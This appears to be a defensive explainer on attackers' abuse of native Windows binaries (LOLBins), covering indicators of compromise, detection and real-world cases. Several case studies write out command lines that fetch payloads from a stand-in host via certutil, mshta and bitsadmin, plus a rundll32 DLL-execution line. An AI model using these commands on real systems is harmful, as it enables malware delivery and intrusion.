Living Off the Land: How Real Attackers Abuse Native Binaries

LOLBins (Living-Off-the-Land Binaries) are legitimate, trusted OS utilities (mostly Windows, but also Linux/macOS) abused by attackers to execute malicious activity without dropping obvious malware.

Common goals:

  • Evade antivirus / EDR
  • Blend in with normal admin activity
  • Reduce forensic footprint

Typical LOLBins Attack Flow

  1. Initial Access
    • Phishing, exploit, stolen credentials, RDP abuse
  2. Execution via LOLBin
    • PowerShell, mshta, rundll32, certutil, etc.
  3. Payload Delivery
    • Fileless scripts, remote DLLs, encoded commands
  4. Persistence / Lateral Movement
    • Scheduled tasks, WMI, services
  5. Command & Control
    • HTTPS, DNS, cloud services

Common LOLBins & Abused Techniques

  • PowerShell – Encoded commands, download cradles
  • cmd.exe – Script chaining
  • mshta.exe – Remote HTA execution
  • rundll32.exe – Execute malicious DLL exports
  • regsvr32.exe – Scriptlet execution
  • certutil.exe – File download & Base64 decode
  • wmic.exe – Remote execution & persistence
  • bitsadmin.exe – Stealthy file transfer

Payload Characteristics

LOLBins payloads are often:

  • Fileless (memory-only execution)
  • Encoded or obfuscated
  • Downloaded at runtime
  • Living in registry, WMI, or scheduled tasks

Examples:

  • PowerShell -EncodedCommand
  • HTA files hosting JavaScript/VBScript
  • DLLs loaded from user-writable directories
  • C2 payloads over HTTPS/DNS

Indicators of Compromise (IOCs)

Behavioral IOCs (Most Important)

  • PowerShell with:
    • -EncodedCommand
    • IEX (New-Object Net.WebClient)
  • LOLBins executing from non-standard parents
  • Unsigned DLLs loaded by rundll32.exe
  • Command-line LOLBins spawning network connections
  • Execution from user profile or temp directories

Host-Based IOCs

  • Suspicious scheduled tasks
  • Registry Run keys invoking LOLBins
  • WMI event subscriptions
  • Unusual Base64 strings in logs

Network IOCs

  • LOLBins making outbound HTTPS/DNS connections
  • Connections to:
    • Newly registered domains
    • Cloud storage (Pastebin, GitHub raw, OneDrive)

Detection & Mitigation Strategies

Preventive Controls

  • Application Control
    • AppLocker / WDAC rules for LOLBins
  • Disable or Restrict
    • PowerShell v2
    • mshta, wscript, cscript if not required
  • Least Privilege
    • Remove local admin rights

Detection Controls

  • Command-line Logging
    • Enable PowerShell Script Block Logging
  • EDR Behavioral Rules
    • LOLBins + network + obfuscation
  • Sysmon
    • Process creation, image loads, network connections

Response Actions

  • Isolate affected endpoint
  • Kill malicious parent/child process tree
  • Remove persistence mechanisms
  • Reset compromised credentials

Summary Table (As Requested)

CategoryDetails
Attack TypeLiving-Off-the-Land (LOLBins)
Primary GoalEvasion, stealth execution
Common LOLBinsPowerShell, mshta, rundll32, regsvr32, certutil
Payload TypeFileless scripts, encoded commands, remote DLLs
Key IOCsEncoded PowerShell, unusual parent-child processes, LOLBins with network traffic
PersistenceScheduled tasks, registry run keys, WMI
Detection FocusBehavioral analysis, command-line logging
MitigationAppLocker/WDAC, disable unused LOLBins, least privilege

How Real Attackers Abuse Native Binaries

1. FIN7 – PowerShell & certutil (Financial Crime)

Threat Actor: FIN7 (aka Carbanak Group)
Target: Retail, hospitality, financial orgs
Year(s): 2017–2020

What Happened

FIN7 used PowerShell and certutil.exe to download and execute malware without obvious malicious binaries.

LOLBins Used

  • powershell.exe
  • certutil.exe

Technique

certutil -urlcache -split -f http://malicious[.]site/payload.exe payload.exe
powershell -EncodedCommand <Base64>

Impact

  • Stole millions in payment card data
  • Bypassed signature-based AV
  • Looked like normal admin activity

Why It Matters

This campaign made certutil abuse a classic LOLBins detection use case in SOCs.


2. APT29 (Cozy Bear) – Fileless PowerShell

Threat Actor: APT29 (Russian state-sponsored)
Target: Government & diplomatic networks
Year: 2018–2021

What Happened

APT29 executed fileless malware entirely in memory using PowerShell download cradles.

LOLBins Used

  • powershell.exe
  • wmic.exe

Technique

  • Remote PowerShell scripts loaded into memory
  • WMI for persistence and lateral movement

Impact

  • Long-term espionage
  • Extremely low forensic footprint

Why It Matters

Demonstrated how fileless LOLBins attacks can evade disk-based detection entirely.


3. Emotet – rundll32 Abuse

Threat Actor: Emotet botnet
Target: Enterprises worldwide
Year(s): 2018–2022

What Happened

Emotet loaders used rundll32.exe to execute malicious DLL exports.

LOLBins Used

  • rundll32.exe

Technique

rundll32.exe C:\Users\Public\invoice.dll,EntryPoint

Impact

  • Initial access for ransomware (Ryuk, Conti)
  • Rapid lateral spread

Why It Matters

Showed how legitimate Windows DLL execution mechanisms can mask malware execution.


4. APT32 (OceanLotus) – mshta.exe

Threat Actor: APT32 (Vietnam-linked)
Target: Corporations, journalists, NGOs
Year: 2019–2020

What Happened

Used mshta.exe to load malicious HTA files from the internet.

LOLBins Used

  • mshta.exe

Technique

mshta http://malicious[.]site/payload.hta

Payload

  • JavaScript/VBScript backdoors
  • C2 over HTTPS

Why It Matters

Many environments did not monitor mshta, assuming it was obsolete.


5. SolarWinds Post-Exploitation – PowerShell & WMI

Threat Actor: APT29
Target: SolarWinds customers (supply chain)
Year: 2020

What Happened

After backdoor deployment, attackers relied heavily on LOLBins for post-exploitation.

LOLBins Used

  • powershell.exe
  • wmic.exe
  • schtasks.exe

Techniques

  • Fileless reconnaissance
  • Credential dumping via PowerShell
  • Scheduled tasks for persistence

Why It Matters

Even high-end nation-state attacks prefer LOLBins once inside.


6. LockBit & Conti Ransomware – bitsadmin & PowerShell

Threat Actor: LockBit / Conti
Target: Enterprises, healthcare, manufacturing
Year(s): 2021–2023

What Happened

Ransomware operators used LOLBins to stage payloads before detonation.

LOLBins Used

  • bitsadmin.exe
  • powershell.exe
  • wmic.exe

Technique

bitsadmin /transfer job http://malicious[.]site/ransom.exe C:\Temp\ransom.exe

Why It Matters

Shows LOLBins are not just for stealthy espionage, but also high-impact ransomware operations.


Summary Table (Real-World LOLBins Incidents)

Threat ActorYear(s)LOLBins UsedPurpose
FIN72017–2020PowerShell, certutilMalware delivery, evasion
APT292018–2021PowerShell, WMICFileless espionage
Emotet2018–2022rundll32Loader execution
APT322019–2020mshtaScript-based backdoor
SolarWinds APT292020PowerShell, schtasksPost-exploitation
LockBit / Conti2021–2023bitsadmin, PowerShellRansomware staging